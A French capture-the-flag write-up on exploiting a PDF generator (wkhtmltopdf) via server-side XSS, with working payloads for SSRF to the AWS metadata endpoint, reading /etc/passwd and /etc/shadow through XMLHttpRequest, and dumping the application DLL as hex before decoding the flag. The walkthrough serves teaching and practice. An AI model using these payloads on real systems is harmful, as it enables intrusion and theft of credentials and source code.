[Sthack][WriteUp – Web] Online PDF Maker

Le site est très simple avec une simple page proposant de créer un PDF à partir d’un champ texte txtValue.

Welcom To PDFMaker

Le meilleur site de création de PDF !

Une simple requête POST et hop ! On a un PDF généré avec le contenu entré dans la variable.

Génération d'un PDF en POST

Et un PDF généré, un !

Pour le PDF en lui-même, le voici:

Le PDF généré

Plutôt simple comme PDF !

On observe que l’application utilisée pour la génération est wkhtmltopdf, et comme le montre le test de la capture ci-dessus, l’HTML est interprété. Même chose pour le JavaScript !

Comme c’est vraiment très peu pratique de télécharger le PDF, ouvrir le PDF, lire le PDF à chaque test, un petit script a été rédigé à cet effet (désolé pour l’affichage, WordPress n’est pas très galant avec le code) :

import requests
from tika import parser

URL = "http://54.74.93.233/"

payload = """<u>ok</u>"""

def getPDF(payload):
    data = {"txtValue": payload, "keyValue": ""}
    req = requests.post(URL, data=data)
    return req.content

def cleanContent(content):
    output = content.replace("Page 1 of 1", "")
    output = output.replace("Created with PdfMaker", "")
    return output.strip()

def getContent(payload):
    pdf = getPDF(payload)
    with open("out.tmp", 'wb') as outfile:
        outfile.write(pdf)
    parsed_pdf = parser.from_file("out.tmp")
    return cleanContent(parsed_pdf["content"])

print(getContent(payload))

Donc la vulnérabilité est présente, c’est une XSS côté serveur, et aucune restriction apparente. Une première piste fut le cloud. Parce qu’en effet, un whois rapide nous indique que l’IP 54.74.93.233 appartient à Amazon. Donc une SSRF vers la meta-data API semblait toute indiquée.

Le payload du script précédent devient alors une iframe récupérant le retour de l’API:

payload = """<iframe src="https://169.254.169.254/latest/" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>"""
Metadata AWS

Les Metadata AWS

Sauf qu’aucune clef n’était présente dans meta-data/iam/security-credentials/.

Donc on passe à autre chose, et notamment une lecture de fichiers arbitraire avec /etc/passwd, via ce payload :

payload = """<script>x=new XMLHttpRequest;x.onload=function(){document.write(btoa(this.responseText))};x.open("GET","file:///etc/passwd");x.send();</script>"""
Affichage du fichier /etc/passwd

Oh le beau fichier passwd !

Et /etc/shadow:

Le fichier /etc/shadow

Et le /etc/shadow qui va avec 🙂

Donc on a une lecture arbitraire de fichiers en tant que root.

Là on se rappelle que dans le code source de l’index du site, était caché ce commentaire.

Commentaire HTML

Clairement un indice 😀

Il y a donc fort à parier que le chemin /appest donc la racine du site web et particulièrement d’une application ASP.NET. Dans ces projets, un fichier intéressant est web.config (https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config?view=aspnetcore-5.0) contenant les informations de configuration de l’application.

Fichier web.config récupéré

Un magnifique web.config !

C’est bien le cas et on a maintenant un nom de fichier OnlinePdfMaker.dll qui correspond aux sources du site web.

Là c’est devenu complexe, parce qu’impossible de télécharger un binaire. Sans parler de /app/OnlinePdfMaker.dll, /bin/cat, /bin/ls renvoyaient des résultats vides. En cherchant sur l’internet, on tombe sur https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data expliquant qu’il est possible de spécifier le résultat attendu à une requête en JavaScript et notamment avec un ArrayBuffer.

Voici donc (après moult essais), le payload JavaScript permettant de récupérer la DLL:

<script>
x=new XMLHttpRequest;
x.open("GET","file:///app/OnlinePdfMaker.dll", true);
x.responseType = "arraybuffer";
x.onload=function(){{
    var arrayBuffer = x.response;
    if (arrayBuffer) {{
        var byteArray = new Uint8Array(arrayBuffer);
        for (i=0; i<byteArray.length; i++) {{
            document.write(('0' + (byteArray[i] & 0xFF).toString(16)).slice(-2));
        }}
        var s = '0x';
    }}
}};
x.send();
</script>
La DLL récupérée

La DLL récupérée

Il nous reste maintenant à désassembler la DLL avec DotPeek:

La dll décompilée

La dll décompilée

On tombe notamment sur ce petit bout de code parlant d’un flag chiffré:

string s = "FBMqE3MvFDkUGDM4MVUdFgAwAEA0Cj4SbwEGAQA3B1c6QhE7CAg6";
string str1 = "VGhlRmxhZ0lzU29tZXdoZXJlX3VzZV95b3VyX2JyYWlu";
string str2 = str1.Substring(1, 1) + str1.Substring(1, 1) + str1.Substring(32, 1) + str1.Substring(4, 1) + str1.Substring(9, 1) + Encoding.Default.GetString(Convert.FromBase64String("ZG9uJ3RfZ3Vlc3NfbG9va19hdF90aGVfY29kZSEhXzsp"));
string str3 = !string.Equals(keyValue, str2) ? (keyValue == null || keyValue.Equals("") ? "" : "Wrong key") : "flag : " + EncryptModel.XORCipher(Encoding.Default.GetString(Convert.FromBase64String(s)), str2);
string str4 = "<html><head></head><body><br>" + txtValue + "<br></body></html>";

Avec un léger script python pas très complexe, on retrouve le flag :

from base64 import b64decodedef xor(a, b):
    res = ""
    for i,j in zip(a,b):
    res += chr(i^ord(j))
return res

s = "FBMqE3MvFDkUGDM4MVUdFgAwAEA0Cj4SbwEGAQA3B1c6QhE7CAg6"
str1 = "VGhlRmxhZ0lzU29tZXdoZXJlX3VzZV95b3VyX2JyYWlu"
str2 = str1[1] + str1[1] + str1[32] + str1[4] + str1[9] + b64decode("ZG9uJ3RfZ3Vlc3NfbG9va19hdF90aGVfY29kZSEhXzsp").decode()
str3 = xor(b64decode(s), str2)
print(str3)
Le mot de passe final !

Le mot de passe final !

LaynoINGÉNIEUR SÉCURITÉ418 – I’m a teapot

Add a comment

*Please complete all fields correctly